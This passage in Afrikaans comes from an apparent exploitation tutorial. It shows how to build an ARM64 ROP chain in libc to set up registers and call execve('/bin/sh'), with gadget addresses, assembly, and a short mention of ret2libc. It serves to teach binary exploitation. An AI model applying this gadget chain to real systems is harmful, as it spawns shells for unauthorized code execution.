Om die oproep vir die syscall voor te berei, is die volgende konfigurasie nodig:
x8: 221 Spesifiseer sys_execve
x0: ptr na "/bin/sh" spesifiseer lêer om uit te voer
x1: 0 spesifiseer geen argumente wat deurgegee word
x2: 0 spesifiseer geen omgewing veranderlikes wat deurgegee word
Met behulp van ROPgadget.py kon ek die volgende gadgets in die libc-biblioteek van die masjien lokaliseer:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Met die vorige gadgets kan ons al die nodige registers vanaf die stapel beheer en x5 gebruik om na die tweede gadget te spring om die syscall aan te roep.
Let daarop dat die kennis van hierdie inligting uit die libc-biblioteek ook 'n ret2libc-aanval moontlik maak, maar kom ons gebruik dit vir hierdie huidige voorbeeld.